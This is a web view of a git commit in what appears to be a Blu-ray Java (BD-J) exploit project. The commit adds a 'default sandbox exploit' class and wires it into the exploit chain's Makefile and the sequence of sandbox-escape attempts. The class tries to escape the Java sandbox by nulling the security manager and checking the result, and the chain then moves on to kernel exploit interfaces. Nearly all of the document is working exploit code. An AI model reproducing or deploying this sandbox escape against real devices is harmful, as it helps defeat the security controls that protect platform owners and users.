Browse Source

Add default sandbox exploit.

master
Andy Nguyen 11 months ago
parent
commit
9dcf0bfe7f
  1. 1
      Makefile
  2. 5
      src/com/bdjb/Exploit.java
  3. 17
      src/com/bdjb/exploit/sandbox/ExploitDefaultImpl.java

1
Makefile

@ -15,6 +15,7 @@ CLASSES = \ @@ -15,6 +15,7 @@ CLASSES = \
$(SRC)/com/bdjb/JIT.java \
$(SRC)/com/bdjb/Screen.java \
$(SRC)/com/bdjb/exploit/sandbox/ExploitSandboxInterface.java \
$(SRC)/com/bdjb/exploit/sandbox/ExploitDefaultImpl.java \
$(SRC)/com/bdjb/exploit/sandbox/ExploitUserPrefsImpl.java \
$(SRC)/com/bdjb/exploit/sandbox/ExploitServiceProxyImpl.java \
$(SRC)/com/bdjb/exploit/sandbox/IxcProxyImpl.java \

5
src/com/bdjb/Exploit.java

@ -8,6 +8,7 @@ @@ -8,6 +8,7 @@
package com.bdjb;
import com.bdjb.exploit.sandbox.ExploitSandboxInterface;
import com.bdjb.exploit.sandbox.ExploitDefaultImpl;
import com.bdjb.exploit.sandbox.ExploitUserPrefsImpl;
import com.bdjb.exploit.sandbox.ExploitServiceProxyImpl;
import com.bdjb.exploit.kernel.ExploitKernelInterface;
@ -25,7 +26,9 @@ class Exploit implements Runnable { @@ -25,7 +26,9 @@ class Exploit implements Runnable {
Screen.println("[*] Escaping Java Sandbox...");
ExploitSandboxInterface[] exploits =
new ExploitSandboxInterface[] {new ExploitUserPrefsImpl(), new ExploitServiceProxyImpl()};
new ExploitSandboxInterface[] {
new ExploitDefaultImpl(), new ExploitUserPrefsImpl(), new ExploitServiceProxyImpl()
};
for (int i = 0; i < exploits.length; i++) {
try {

17
src/com/bdjb/exploit/sandbox/ExploitDefaultImpl.java

@ -0,0 +1,17 @@ @@ -0,0 +1,17 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.exploit.sandbox;
/** Default exploit implementation. */
public class ExploitDefaultImpl implements ExploitSandboxInterface {
public boolean trigger() throws Exception {
System.setSecurityManager(null);
return System.getSecurityManager() == null;
}
}
Loading…
Cancel
Save